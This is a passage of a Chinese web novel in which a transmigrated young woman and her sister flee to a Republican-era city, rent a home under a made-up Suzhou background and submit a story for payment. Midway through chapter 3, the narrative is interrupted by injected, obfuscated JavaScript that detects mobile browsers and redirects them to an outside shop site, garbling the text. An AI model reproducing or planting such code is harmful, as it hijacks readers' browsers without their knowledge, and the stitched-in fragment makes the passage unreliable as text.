《天生大佬》 2. 第 2 章 走出巷子,街上的人流又密了起来,电车叮叮当当地驶过,报童举着报纸在街角叫卖,穿旗袍的太太们撑着伞从她们身边走过,留下一阵香粉味。 程锦云紧紧攥着妹妹的手,手心里全是汗。她的目光不知道该往哪儿放,看什么都觉得新鲜,又看什么都觉得心里发慌。 走远之后,程锦云终于忍不住了:“锦年,你来这个大城巿就不害怕吗?我看见这么多人,心里慌得很。咱们从没见过这样的地方,万一……万一走丢了怎么办?” 程锦年没有立刻回答,她看着姐姐惶惶不安的脸,心里快速盘算,从昨天到今天,程锦云一句话都没多问,让跑就跑,让走就走,脚底磨出了水泡也不吭声,硬是咬牙跟了一路。 以她的表现来看,她不是拖累,而自己作为一个一无所有的贫女,其实也没有那么多的选择。 让程锦云与自己结伴,是出于现实需要,两个人无论如何都比一个单身女子安全,更何况程锦云的品行目前看着还可以,把她从乡下带都带出来了,总不能丢下不管了。 既然这样,安抚好程锦云的情绪,就是她必须要注意到的事情了。 “怕,我也怕。”程锦年的声音不大,“可是云姐,害怕解决不了问题。我们是从赵虎手里逃出来的,好不容易到了海城,要是因为害怕就缩手缩脚的,那之前的苦不就白受了吗?” 程锦云低下头,两只手绞在一起。 程锦年缓缓解开她缠在一起的双手,握住姐姐的手掌,语气放缓了一些。 她清楚,程锦云现在最需要的不是道理,是安心。她得让姐姐觉得自己被需要、被肯定,不能让她一直陷在“我什么都帮不上忙”的自责里。 但这番话不能说得太刻意,得让人听着像是真心流露。 “云姐,其实我今天做那些事之前,心里也很不安。去咖啡馆跟那位小姐说话的时候,我自己都不确定能不能成。只是我想着,咱们两个人里头,总得有一个拿主意的人,所以我强忍着不安去做了。” 程锦云吃惊的抬起头,她以为妹妹表现的那么自信,怎么实际上会有这种情绪呢。 “之前我跟你说‘也许能成’,不是客气,是真的没把握。”程锦年说这话的时候,语气比平时软了几分,“只是我不想让你跟着担心,才没有说出来。” 程锦云的睫毛颤了几下,她张了张嘴,想说什么又咽了回去。 她心里又酸又胀,原来妹妹也不是什么都不怕,原来妹妹也是在硬撑。她这个做姐姐的,不但帮不上忙,还让妹妹反过来安慰自己。 “锦年,你……你别这么说。”程锦云的声音有些发颤,“你已经很厉害了,换了我在那个咖啡馆里,我连话都说不出来。是我做得不好,什么都怕,什么都帮不上你。” 这正是程锦年预料中的反应,程锦云心软,听见她示弱一定会内疚。 内疚了就会心疼,心疼了就不会再胡思乱想,这是转移注意力的有效手段。 既然有效果,那就采取下一步,那就是鼓励她,让她知道她自己是有用的,避免一直自哀自怨:“云姐,你比其他人强多了,从村里跑出来的那一晚上,腿都软了,可你一句都没抱怨,咬着牙跟着我跑。 要不是你一直陪着我,给我鼓劲,我一个人说不定早就累得跑不动,被赵虎抓回去了。今天能这么顺利,不只是我一个人的功劳,咱们两个,缺了谁都不行。” 程锦云愣住了,她没想到妹妹会说这个,心里一暖,原来她不是一点用都没有,原来妹妹也需要她。 那种总觉得自己是累赘的自卑感,被这几句话冲淡了不少。 程锦年留意到姐姐表情的变化,知道这一番话起了作用。但她心里清楚,这只是铺垫。真正的难题还没解决,她自己的变化太大了,大到不可能轻易糊弄过去。 程锦云现在不问,不代表以后不问。如果一直不给一个合理的解释,这根刺会扎在姐姐心里,时间长了谁知道她会怎么想?会不会害怕?会不会疏远?会不会做出什么不理智的事? 她必须主动把这事圆过去。 用什么理由?程锦云是个村姑,没读过书,从小听的就是神仙鬼怪的故事。对她最有说服力的,只能是那一套。 别说是民国,就是一百年后还有人信这个。在这个时代,这套说法更是天经地义。与其费尽心思编一个经不起推敲的谎话,不如直接用这个最省事的框架。 况且,以后要做的事还多着呢。她不可能时时刻刻戴着村姑的面具,也不可能每做一件超出程锦云理解范围的事就解释一次。她需要一个通用的理由,一次性打消所有疑虑。 两人沉默着走了一段,程锦云的脚步越来越慢,她看着妹妹的侧脸,嘴唇动了几次,都没发出声音。 程锦年没催,她知道程锦云在酝酿。 又走过一个街口,程锦云终于憋不住了:“锦年,我问你一件事,你别生气。” “你问。” “你……你怎么突然变得这么厉害了?”程锦云的声音压得很低,像是怕被旁人听见,“以前在家里,你连赵虎来了都不敢出屋。 可是昨天你跟赵虎说话的时候,一点都不怕,今天在咖啡馆,跟那位小姐说那些书啊本啊的事,你……你怎么会的?” 她顿了顿,又赶紧补了一句:“我不是说你不好,我就是觉得你跟以前不一样了。有时候我看着你,觉得你像是另外一个人。” 来了,程锦年在心里把早就准备好的说辞过了一遍,面上不动声色。 “云姐,我跟你说一件事,你别害怕。” 程锦云愣了一下:“什么事?” “那天晚上,赵虎来砸门之前,我做了一个梦。”程锦年的语气放得很轻,像是在讲一个只属于她们两人的秘密,“梦里有个仙女,她跟我说,我本来不是凡人,是天上的神仙转世。 这一世投胎到人间,是为了应劫。之前那些年浑浑噩噩的,是因为被胎中之谜蒙住了,不记得自己是谁。” 程锦云的眼睛一点点睁大。 “仙女说,我原本应该继续蒙在鼓里,等劫数自己过去。可是昨天赵虎上门,如果我继续浑浑噩噩下去,这一关可能就过不去了。所以天上的同僚不忍心看着我遭难,偷偷破了我的胎中之谜,让我提前醒过来。” 程锦年的声音平稳,语气沉稳笃定,听着就很有说服力:“她说我既然醒了,就不能再像以前那样活着了。我这一世投胎,是要救苦救难、积累功德的。 只有功德圆满了,才能重归仙班。所以我脑子里突然多了很多东西,能看懂那些书,知道那些典故,连以前没学过的本事也都通了。她说这些都是我前世就会的,只是以前被蒙住了,现在拿回来了。” 程锦云张着嘴,好半天没合拢。她脑子里翻来覆去地转着小时候听过的那些故事,神仙转世,下凡应劫,功德圆满之后飞升天庭。 说书先生讲过,村里的老人也讲过。她一直当故事听,没想到这种事会发生在自己妹妹身上。 她心里忽然涌起一阵庆幸,默默地向那位不知名的仙女道了声谢,谢谢她让妹妹醒过来。不然她们姐妹俩在这偌大的海城里,真不知道该怎么活下去。 她并不嫉妒妹妹有这样的好运气,姐姐照顾妹妹,天经地义。这样的好事落在妹妹头上,她只觉得太好了,让妹妹有了能够谋生的本领,她心里只有欣慰。 再说了,就算是把那些本事给了她,她也未必能做到妹妹这种程度。妹妹来城里的第一天就拿到了三十块银元,跟那位穿洋装的小姐说话不卑不亢,换了她,连咖啡馆的门都不敢进。自己是什么料子,她心里清楚。神仙选妹妹,是对的。 想到这里,她心里的惶惑散了。妹妹不是中了邪,不是被什么脏东西附了身,是神仙转世,是天大的好事。 “仙女长什么样?”她忍不住追问了一句。 “穿着白衣服,头发很长,说话轻飘飘的。”程锦年随口编了几个细节,反正程锦云也无从验证。 程锦云没再问了,她信了。 程锦年看着姐姐的神情变化,知道这个坎算是过了。 往后不管她做出什么超出常理的事,都可以往这个筐里装。神仙转世,前世就会,不需要再额外解释。 “云姐,这事你知我知,别往外说。天上的事,不能随便告诉凡人。” 程锦云用力点头:“我晓得的,这种事不能说出去,说出去就不灵了。” 程锦年没再继续这个话题。 “云姐,我们得先买两身衣裳。” 程锦云愣了一下:“买衣裳?咱们的钱……够吗?” “够。”程锦年站起身,拍了拍裙子上的灰,“我们现在这个样子,一看就是从乡下来的,办什么事都不方便。刚才在书店,那些掌柜看我们的眼神,你也看见了。穿成这样,走到哪里都被人看不起,租房子人家也不愿意租给我们。” 程锦云想起上午被掌柜们嫌弃的目光,沉默了,她知道妹妹说的是实话。 “那去哪儿买?” “不去大商场,太贵了,去街边的裁缝铺,那种铺子里有成衣,比商场便宜。” 她们在一条小巷子里找到了一家裁缝铺,程锦年细细打量了挂在门口的衣服,摸了摸料子,又看了看针脚,觉得还不错,这才领着姐姐进去。 程锦年挑了一件藏青色的学生裙,又挑了一件浅灰色的上衣配半裙给程锦云。她让师傅改了一下腰身和袖长,约定下午来取。 两身衣服料子不错,加上师傅手工费,又拿了两双素布鞋,程锦年试着砍了砍价,最后花了五块银元八十铜元。 从裁缝铺出来,已经过了正午。两人在街边找了一家小馆子,要了两碗馄饨加一碟小菜,花了二十铜元。 等菜的功夫,程锦年跟小摊老板聊了几句。她问了附近哪里的房子比较便宜,老板热心地告诉她这片区域的大致租金行情,又提了一句有几个地方贴着招租广告,程锦年心里有了底。 吃完饭,时间差不多了,她们折回裁缝铺取衣服。藏青色的学生裙改过了腰身,穿在身上服服帖帖。 浅灰色的上衣配半裙也刚好合身,程锦年借了裁缝铺的水,把头发用温水沾湿,梳成发髻,露出光洁的额头。又借了剪子修剪了眉毛。帮姐姐也简单倒腾了一番,姐妹俩看起来总算没有之前那么狼狈了。 程锦云换上了新衣裳,站在镜子前愣了好一会儿:“锦年,这是……我吗?” 程锦年看了她一眼:“是你,只是以前没有好好收拾过。” 程锦年把换下来的旧衣服折好塞进布包,拉着姐姐出了裁缝铺。 她先拉着姐姐去看电线杆上的广告,第一处太贵,月租十四块。第二处房东阴阳怪气,看她们两个女孩子单身,说话夹枪带棒,她都否了。 第三处是梧桐街三十六号,单间出租,月租十二元,比别家便宜。 房东姓钱,四十多岁,瘦得像根竹竿,手指细长,说话时眼睛滴溜溜转。 他领着姐妹俩看房间,一边走一边念叨:“我这房子可是这一片最好的,别人家月租十三四块,我只收十二块。当然,水电另算,垃圾费另算,楼道照明另算……” 程锦云小声问:“这些不都该包在房租里吗?” 钱老板眼睛一瞪:“包?怎么包?你多用了我少用了,算得清吗?各算各的,公平。” 走到房门口,他忽然停下来,低头看了看姐妹俩的鞋,崭新的布鞋,干干净净。他皱了皱眉:“新鞋也有灰,踩了我的地板,得加清洁费,一个月多加五角。” 程锦年平静地说:“我们进来的时候,地板本来就是脏的。” “那是灰尘,不是泥。”钱老板蹲下来,用手指在地板上抹了一下,“看见没?泥得用水擦,费功夫,五角,一分不能少。” 程锦年没再多说,拉着姐姐头也不回地往外走。 走出那栋楼,程锦云气得脸发红,嘴里小声嘟囔:“什么人啊……地板本来就是脏的,非要赖我们……新鞋也能挑出错来……” 她说着说着声音又低下去,像是怕被路过的人听见,最后几个字含在嘴里含糊不清。 程锦年回头看了一眼姐姐窝囊的样子,心里叹了口气。这种人,指望她出面跟人争,是指望不上的。不过没关系,她本来也没打算指望。 她站定,转过身,重新打量着这栋楼的外观。从外面看,临街一面只有四扇窗户,但刚才在走廊里,她至少看到了六扇门。二楼走廊尽头的窗户是封死的,楼梯扶手摇摇晃晃,楼道里堆着杂物。 程锦年收回目光,心里记下了这栋楼的地址。 “走吧,云姐。”她拉住姐姐的手。 “去哪儿?” “找别的房子。”程锦年一边走一边想,电线杆上的广告不可尽信,刚才那几个就不靠谱。 她走了两步,目光扫过街角的一个报摊。报摊的木板架上除了报纸,还贴了几张手写的招租纸条,歪歪扭扭的字迹,写着“吉屋出租”“环境清静”之类的字眼。 她心里一动,卖报纸的人天天坐在这里,街面上谁家房子出租、哪个房东厚道,他们最清楚。与其自己瞎撞,不如找行家打听。 她拉着姐姐走过去,花了几分钱买了一份报纸,没有急着走,而是搭起话来。 “老板,跟您打听个事,这附近有没有靠谱的房子出租?我们两个刚来海城,想找个安顿的地方。” 报摊老板是个五十来岁的男人,姓王,嗓门大,爱聊天。 他上下打量了姐妹俩一眼,看见她们干净的衣裳,收拾得整整齐齐,想了想:“我倒是认识一位周太太,她家在法租界有小楼,专门出租,周太太人挺好的。” 程锦年顺着话头问:“周太太是哪里人?” “她娘家是苏州吴县的。” 程锦年心里一动,苏州吴县。她上辈子的大学室友就是吴县人,说过不少当地的事。 她没去过苏州,但那些零碎的细节,灵岩山上的多宝塔、山下的老街,她还记得。 一个念头冒了出来,不如冒充同乡好了,她觉得不太妥当,但转念一想,她不是要骗周太太的感情,只是租个房子安顿下来。 她不会拖欠房租,不会惹事,甚至可以把房子打理得比周太太预期的更好。除了不是苏州人,她没什么对不住周太太的。 她把心里那点不安压了下去,现在还没有立身之地,她要想办法为自己的生存考虑,道德问题也要让步于生活。 想到这里,程锦年询问道:“周太太家好找吗?” 老王说了个大概位置。 程锦年辞别了老王,没有直接去找周太太,而是拉着姐姐在路边小声道:“云姐,我跟你说件事。” 程锦云看着她。 “从今天起,我们不是从乡下跑出来的穷丫头了。”程锦年的语气很平静,像是在交代一件日常事务,“我们是苏州吴县木渎镇上的人。父亲是前清的童生,家道中落,父母双亡。来海城投亲,暂时落脚。” 程锦云愣住了,好一会儿才小声问:“锦年,这……真的可以吗?不会出事吧?童生……那可是有功名的人家,咱们冒充……” 程锦年握住姐姐的手,耐心地说:“云姐,你信我,我可是有神仙保佑的人,你忘了吗?” 程锦云抿了抿嘴,没说话,但眼神动了一下。 “咱们在外面要是实话实说,说咱们是从乡下跑出来的穷丫头,人家会怎么看咱们?看不起咱们,欺负咱们,连房子都不肯租给咱们。”程锦年顿了顿,“刚才那个钱老板,你也看见了,咱们穿得干干净净的,他都挑三拣四。要是还穿着原来的衣裳,他怕是连门都不让咱们进。” 程锦云想起钱老板那张刻薄的脸,又想起上午在书店被掌柜们嫌弃的眼神,心里的那点犹豫慢慢散了。妹妹说得对,在这个地方,老实人吃亏。 “你别担心,你什么都不用做,跟着我就行。万一有人问你木渎镇的事,你就说小时候住在镇上,后来搬到乡下去了,记不太清了,别的都由我来说。” 程锦云深吸了一口气,点了点头:“我记住了。” 程锦年观察着姐姐的表情,她还是很紧张,但至少不会一问三不知,这就够了。 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系统没有回答。 “第三,退一万步说,就算我找到了其中一个,你觉得他会怎么看我?一个居无定所、连饭都吃不饱的女人?你觉得他会把我当回事?” 系统又沉默了片刻。 程锦年趁热打铁,语气放得更平:“所以我说,先活下来,站稳了,再考虑别的。这不是拖延,这是现实。” “……逻辑成立。”系统的声音没有变化,但那个停顿比之前更长了。 程锦年在心里记下了这个细节,它不会因为她的态度而发作,只要她说得有道理,它就无话可说。 这就好办了,以后只要她不想听它唠叨,搬出这套逻辑就行。它不是真的无懈可击,它只是需要被说服。 “那程锦云呢?”系统又发问了,“她的价值评估仍不明确。” 程锦年知道系统会问这个,她往下想了一层,程锦云听话,不添乱,在这个陌生城市里,她需要一个绝对信得过的人。 与其在外面找个不知根底的帮手,不如把姐姐培养起来。而且,她骗不了自己,就算程锦云什么忙都帮不上,只要不拖后腿,她也做不到把人扔了。 “她是我的人,我管她,天经地义,她以后会派上用场的。至于攻略目标,等我站稳了再说。” 系统没有回应,程锦年知道,这个话题到此为止了。 她站起身,拉着姐姐去找周太太。 周太太家的小楼在弄堂深处,程锦年敲了门,开门的是一个五十多岁的妇人,穿着一件灰布褂子,手腕上戴着一只成色不错的玉镯。 “太太,报摊的王伯介绍我们来的,说您这里有房子租。”程锦年微微欠了欠身,声音放软了。 周太太上下打量了她们一眼,看见两个姑娘穿着干净的学生装,头发梳得整整齐齐,目光里多了几分和善。 她侧身让她们进去,领着她们往巷子里走了大概十分钟,拿钥匙打开了一栋一层小楼的房门。小院屋子不大,但干净亮堂,窗户朝南。 周太太一边走一边随口问:“听你们的口音,不是本地人吧?从哪里来的?” 程锦年语气自然地回答:“苏州吴县的。” 周太太的脚步顿了一下,转过头看着她,眼睛亮了起来:“哎呀,我娘家也是吴县的!海城这么大,没想到还能遇见老乡,真是巧了。” 程锦年微微一笑:“这正是我跟太太您的缘分。” 周太太听了这话,脸上笑意更浓了,点了点头:“你这话我爱听,吴县哪里的?” “木渎镇上的。”程锦年说这话的时候,心里快速过了一遍室友说过的那些细节。她试着一开口,发现上辈子听过的那些苏州话居然用上了,几个字的尾音自然地往上扬。 周太太语气明显亲近了几分:“木渎啊,灵岩山下的那个镇子,灵岩山上有座塔,你小时候上去过没有?” “多宝塔嘛,上去过的。”程锦年笑了笑,“小时候常上去玩。” 周太太也笑了:“我小时候也上去过,那塔现在不知道怎么样了,好多年没回去了。” 程锦年没有接这个话,她不知道那塔现在怎么样,再说下去就要露馅了。好在周太太也没有追问,话题自然而然地拐到了房子上。 “太太,这房子月租多少?” “十块钱一个月,水电另算。” “我们家就两个人,安安静静的,不会吵到邻居。太太,碰见老乡也不容易,能不能给点优惠?” 周太太看了看她,又看了看一直站在旁边没说话的程锦云:“你们家里……没别人了?” 程锦年垂下眼帘:“父亲走了,母亲前年也去了,家里剩下我和姐姐两个人。我们来海城投亲,表舅家人口多,实在住不下。身上的钱不多了,得先找个地方安顿下来。” 周太太沉默了一会儿,叹了口气,从腰带上解下钥匙:“行,原本该押一付三,可是你们情况特殊。先交一个月的押金,一个月的房租,给你们按八块钱一个月算吧,给我十六块就行。” 程锦年从布包里数出银元,放在桌上。周太太收了钱,拿出纸来写上收条,里面有甲乙方。 程锦年拿起笔,在纸上对应位置写了“程锦年”三个字,字迹工整。 周太太看了一眼,忍不住赞叹:“这字写得真好,你父亲教的?” “嗯,父亲以前是童生。”程锦年收起笔,周太太看着纸上那几个工整的字,又看了看眼前这两个面黄肌瘦的姑娘,心里一阵唏嘘。 书香之家,沦落到这种地步,两个孩子孤零零地跑到海城来讨生活,也不知道吃了多少苦。 她把钥匙递过去的时候,目光在姐妹俩身上停留了一瞬。 欲言又止了一下,像是在犹豫什么,最终还是开了口:“我家里还有些多余的棉被褥子锅碗瓢盆之类,要是你们实在困难,先给你们用着吧。” 说完,她仔细看着姐妹俩的神色,怕她们自尊心强,不肯接受。 程锦年一眼就看出了周太太的心思,这位太太心细周到,既想帮忙,又怕伤了她们的面子,她心里对周太太多了几分好感。 “太太,您这可真是雪中送炭了。”程锦年的声音里带着恰到好处的感激,不夸张,也不卑微,“我们正愁着置办家当的事呢,您这么照顾我们,我们都不知该怎么谢您才好。” 周太太听了这话,脸上的犹豫散了,连连摆手:“谢什么,都是老乡,举手之劳。你们先把东西搬过去用着,等以后宽裕了再说。” 程锦年自然是好听话连连奉承,又说了几句“太太心善”、“遇见您是我们姐妹的福气”之类的话,把周太太说得心里暖暖的。 等到周太太指挥人,帮忙把东西搬过来归拢好以后,送走众人,这座狭窄小院里终于只剩下了姐妹俩。 程锦年拉住姐姐的手:“走吧,我们回家。” “回家”这两个字让程锦云愣了一瞬。她看了看妹妹平静的侧脸,又看了看手里那把冰凉的钥匙,忽然觉得,好像真的有了一个家。 当晚,程锦年安顿好姐姐,一个人坐在灶房里。她翻了翻灶台底下的柴火堆,找到一根没烧完的炭条,又在墙角捡起一张包过东西的旧报纸,背面还空着。 她把报纸摊平,用炭条在上面写了几行字: “工部局执事先生:梧桐街三十六号住宅,原为四间房格局,现违规隔断为至少六间。楼梯扶手松动,楼道堆放杂物,二楼走廊尽头窗户被封死,请派员核查。” 她把报纸折好,塞进衣兜里。 她吹灭油灯,躺回床上。黑暗中,她想起了赵虎,那个把她们姐妹逼得连夜逃跑的地痞。不是不报,是现在没空。先活着,活好了,账一笔一笔算。 她翻了个身,闭上眼睛。 第二天一早,她去菜市场的时候,在路边文具店花了几分钱买了一个信封,把梧桐街的举报信塞进去,写上“工部局收”,绕路经过工部局,把信塞进了举报信箱。 3. 第 3 章 第二天一早,程锦年把那包银元拿出来,数了一遍。房租押一付一用了十六块,两身衣裳花了五块八十铜元,加上吃饭,买报纸等,拢共剩下八块银元左右。 她把银元重新包好,抽出两块递过去:“云姐,这钱你拿着,米面粮油、炭火、洗漱用的,你看着添置一些。先紧着要紧的买,拿不准的就挑便宜的,以后有条件了咱们再去换。” 程锦云接过钱,愣了一瞬,她低头看了看手心里那两块银元,又抬头看了看妹妹,手攥了攥,声音发紧:“这……交给我?” “嗯,附近就有菜市场和二手市场,不用走太远,先买几样,不够再说。” 以前在家里,都是花铜元,银元是很少见的,程锦云把钱攥紧,像是怕掉了,她没再推辞,声音不大,但比平时稳了些:“行,我先去转转,看看都是什么价。” 程锦年没再多说,杂事有人打理,她才能腾出手来想挣钱的事。 程锦云出了门,沿着巷子往菜市场走。这是她第一次一个人在陌生的城市里办事,心里慌得很。 她攥着那两块银元,手心全是汗,走了几步又停下来,回头看,妹妹没跟出来,只有她自己。 菜市场比她想象的大,人声嘈杂,青菜、肉、米面,一排一排的摊子。她站在入口处,不知道该往哪边走,被人流挤了一下,差点摔倒。 一个卖菜的大姐喊她:“小姑娘,买啥?” 程锦云张了张嘴,声音小得自己都听不清。她深吸一口气,告诉自己,妹妹一个人在扛,她不能连买棵菜都办不好。她攥了攥拳头,硬着头皮走过去:“这白菜怎么卖?” “三铜元一斤。” “能不能便宜点,两铜元?” 大姐看了她一眼,犹豫了一下:“行吧,看你小姑娘头一回来,给你两铜元,以后记得多来我家买菜啊。” 程锦云买了白菜,又去肉摊前站了好久。猪肉十二铜元一斤,她咬了咬牙,买了一斤。 买完菜,她提着篮子,在一排米面铺子前停下来。她想起妹妹说过,要置办米面粮油,还得看看价钱。她在一家铺子前站定,老板是个胖乎乎的中年人,正用铁铲翻着木桶里的糙米。 “老板,糙米咋卖?” “十五铜元一斤。” 程锦云愣了一下:“这么贵?” 老板看了她一眼,叹了口气:“小姑娘,你是刚来海城吧?天冷了,菜不好运,啥都贵。前阵子十二,这几天涨到十五了。过几天还要涨呢,要买趁早。” 程锦云心里一沉,掏钱买了十斤,又打听了油盐的价格,一样样记在心里,该比价的比价,俭省着置办了一点。 她拎着东西往回走,手心不湿了,步子也稳了。虽然腿还有点发软,但总算是把事办成了。 回到家,程锦云把东西一样一样摆出来,把剩下的钱递回去:“买了一斤猪肉、一棵白菜、十斤糙米,油盐买了点,总共花了……”她报了个数,声音不大,但说得很清楚。 顿了顿,程锦云又补了一句,“锦年,米涨价了,老板说天冷了,菜不好运,啥都贵。十五铜元一斤,比前阵子涨了三铜元,说还要涨。” 程锦年没有接找零,推了回去:“剩下的你收着,以后采办的东西多,别来回折腾了。” 程锦云愣了一下,低头看了看手里的钱,又抬头看了看妹妹。妹妹脸上没什么表情,但语气很平,透着信任。 能掌管钱财,这是对她的肯定,程锦云把钱袋攥紧,点了点头:“行,我会做好的。” 程锦年又看了一下买的其他东西,这些基础物资买得实在,价格也算公道,但那句“还要涨”让她心里一沉。 两个人一个月光吃就要花掉三块多,加上水电、炭火、日用品,手里的八块钱撑不了太久,现在连下月房租都没有影子。 她并没有表现的太过惊慌,看了姐姐一眼:“我知道了,这几天先省着点,会有办法的。” 程锦云有些担忧,但想着妹妹这么聪明,应该有了主意,她便没再多说,转身去灶房洗菜了。 程锦年把账在心里又过了一遍,手头这几块钱,省着花最多撑一两个月,一个月之后交不出房租,姐妹俩就要被扫地出门。必须挣钱,立刻,马上。 可她一个十六岁的姑娘,肩不能扛手不能挑。去工厂做女工,一个月七八块,还不够付房租。去茶楼当服务员,工钱少,还容易惹是非。 程锦年想起上辈子看过的穿越小说,女主到了民国靠一支笔起家。她当时觉得这种桥段又爽又俗,现在轮到自己头上,才发现不是爽,是被逼到绝路上的最后一条路。 先活下去,活不下去,什么都是空话。 可她现在连写字的纸笔都没有,她在屋角翻出几张旧报纸,又在灶房寻到半截烧剩下的炭条。 用炭条在报纸空白处试了试,字迹倒是看得清,但拿这个投稿,编辑怕是要当笑话看。 她揣上银元出了门,去了附近的文具店。 文具店的老板是个五十来岁的瘦老头,程锦年挑了一沓稿纸、一瓶墨水、一支最便宜的钢笔,二十个信封,又买了邮票。一套下来花了接近一块五银元。舍不得孩子套不着狼,她咬咬牙付了钱。 她抱着纸笔往回走,路过报摊时停了一下,花了几铜元买了几十份过期的废报纸。 回到住处,程锦年把新买的钢笔拧开,看了一眼墨囊,又拧上。 她把纸笔放在桌上,铺开报纸开始做功课。她花了一天多时间,把十几家报刊的地址、风格和稿费标准记了满满两页纸。 程锦年把那些要求太高,不要新人等等风格不符的一家一家划掉,最后选出七家,包括了稿费高的、门槛低的、名气大的、回款快的……各种各样都各挑了几家,毕竟鸡蛋不能放在一个篮子里。 程锦年将钢笔吸满墨水,铺开稿纸。笔尖落在纸面上,停了一下。这是她来到这个世界后,第一次正儿八经地动笔。 系统突然冒了出来:“宿主,检测到你在进行与攻略任务无关的活动,当前攻略进度仍为零。” 程锦年在心里回了一句:“我知道。” “系统建议,优先接触攻略目标。根据数据库分析,攻略目标之一顾晏清,常出入法租界咖啡馆,距离你当前位置不足两公里。” 程锦年顿了一下,两公里,听起来很近。但她低头看了看自己身上半新的学生装,又看了看桌上摊开的稿纸。 “我现在去,他能正眼看我吗?” 系统沉默了两秒,像是在计算什么,最后只吐出两个字:“……不能。” “等我先把稿子寄出去。” 系统没再坚持。 程锦年已经发现了,对方最关心的就是攻略,可她现在最关心的是怎么挣钱活下去。 市面上最不缺的就是才子佳人,她一个无名新人不容易出头。不如找一个新奇的情节,先吸引眼球再说,这在后世很常见的反转,但是程锦年进行市场调研的这几天,却没有见到类似情节,所以她觉得还是有点吸引力的。 她写了一个丫鬟,叫阿蘅。阿蘅是赵家最不起眼的丫鬟,每天扫院子、倒马桶。 直到后来,她开始往老爷书房塞纸条,第一条预言“三日内有血光”,账房先生摔断了腿。第二条预言“当铺要出事”,当铺着了小火。第三条预言“老爷活不过十五”,赵老爷暴跳如雷,请了道士加了护院。 十五那天夜里,阿蘅在炭盆里加了浸过油的木炭,炭火烧得比平时旺得多。 赵老爷嫌热,习惯性地把炭盆往窗帘那边推了推,这是她看了三年的小动作。 火着了,门从外面被插上了。赵家没了主人,没有人怀疑阿蘅。她领了遣散费,走进人群,再也没有回头。 故事的核心不是复仇,是“最不起眼的人掌控一切”。她想了想,给这篇小说取了个名字——《无名》。 程锦年写完最后一个字,搁下笔,通读了一遍。墨迹还没干透,她把稿纸叠整齐。 她没有把全稿装进任何一封信每份只取了开头三分之二,断在“阿蘅把第三张纸条塞进了书房门缝”那一句,剩下的三分之一锁进抽屉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587580|205354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她提笔写了一封短信,附在每份稿子前面:新手投稿,若蒙不弃,请将稿费汇至指定地址,余稿当即奉上,落款“林间月”。 这是她的笔名,不张扬,甚至于有点像是真名一样。 信封上没写自己住的地方,程锦年出去买东西的时候,已经发现了法租界圣母院路转角有一家小杂货铺,专门替人代收信件,一次收费两个铜板。 老板姓吴,话少,不会过问太多。 她在每封信里写明:“海城法租界圣母院路吴记杂货铺转林间月收。” 稿费走的是“存局候领”,她花了一角钱在邮局买了一个取件号牌,上面只刻了一个数字:十七。汇款单留在邮局,凭号牌领取,不需要真名。* 七份稿子,每份都装好、封口、贴邮票。钢笔尖落在纸面上,一笔一划写了七个地址,写到手发麻。 她不想让任何人从寄信地址上猜到她的住处,特意绕了两条街,走到圣母院路那个邮筒前。 七封信一齐塞了进去,落进邮筒底部,发出轻微的声响。程锦年站在邮筒前,盯着那张铁皮小门看了几秒,转身往回走。 路灯只在巷口有,弄堂里光线昏暗。她走得不快,脑子里还在算账,七封信的邮票花了二角一分,加上纸笔、信封,前前后后投进去快一块钱了。 要是全退稿子了,她就真的血本无归,但是这也是必要的风险承担。 拐进巷口的时候,程锦年忽然觉得不对劲。 有人在后面跟着她。 脚步很轻,但不是路人的那种随意。她快走,那脚步也快。她慢下来,那脚步也跟着慢。 程锦年没有回头,只盯着地上的人影。路灯的光线从背后打过来,影子拉得老长。她看到自己影子后面不远处,还有一个影子,瘦长,微微佝偻。 是个男人,不是路过,是专门跟着的。 她脑子里快速转了一圈,两个单身姑娘,在这住了几天,要是有心人,很容易判断出她们俩的情况,这最容易招贼。此人很有可能不是偷东西,就是踩点。 程锦年没有加快脚步,也没有回头。她保持着原来的速度往前走,手心在冒汗,但步子不乱,尽力维持平静。 拐过弯,她忽然加快脚步,闪身进了路边一家还没打烊的杂货铺。 身后传来一阵急促的脚步声,然后又停住了。她从杂货铺的窗户往外看,一个穿深色短褂的男人站在巷口,朝这边张望了几下,转身走了。 程锦年没有马上出去,她在杂货铺里站了几分钟,等心跳平复下来,确认那个男人不会再回来,才推门出来。 她绕了一条远路回家,一路上不时回头看,确认没有人跟着。 推开院门的时候,程锦云正在灶房里热粥。听见动静探出头来:“锦年,怎么了?” 程锦年关上门,把门闩插上,犹豫了一下。她本不想让姐姐担心,但转念一想,告诉她也让她心里有数,提高警惕,免得措手不及。 于是她把事情的经过简短说了一遍,末了补了一句:“没看清那人长什么样,不过已经甩掉了。” 程锦云的脸色变了一瞬,但很快稳下来。她转身去灶房拿了根粗木棍,顶在门闩后面,又去检查了窗户,把灶房的菜刀放到枕头底下,才回来坐下。 “乡下有时候也会有这种小偷小摸的,没事,别慌。咱们把门窗堵好,没什么好怕的。” 程锦年看着姐姐忙前忙后,低声说:“云姐,幸亏有你。” “说什么呢。”程锦云把粥碗往妹妹面前推了推,“先吃饭。” 灶火映在两人脸上,明明暗暗。 “明天一早我去买锁。”程锦云说,“把院门再加一道。” “行。”程锦年点了点头,“多买一把,厨房门也加上。再问问老板有没有那种从里面扣的插销,晚上睡觉安心。” 程锦云应了一声:“知道了。” 窗外夜色深了,程锦年吹灭油灯,躺下来,盯着头顶的房顶。 稿子已经投出去了,七家,总有一家能中。能不能行,就看这一下了。 4. 第 4 章 投稿后的第一天,程锦年起了个大早。她躺在床上,把昨晚巷口那个影子又在脑子里过了一遍,瘦长,微微佝偻,路灯下拖出一道暗灰色的轮廓,那脚步声她记得清清楚楚。 发现了问题就要及时想办法解决,她翻身起来穿好衣服,从抽屉里掏出仅剩的几块银元,揣进兜里。 程锦云已经起了,正在灶房烧水。程锦年走到灶房门口:“云姐,咱们租的毕竟是周太太家的房子,换锁我想着还是跟房东说一声才好,我去找周太太,你在家等我。” 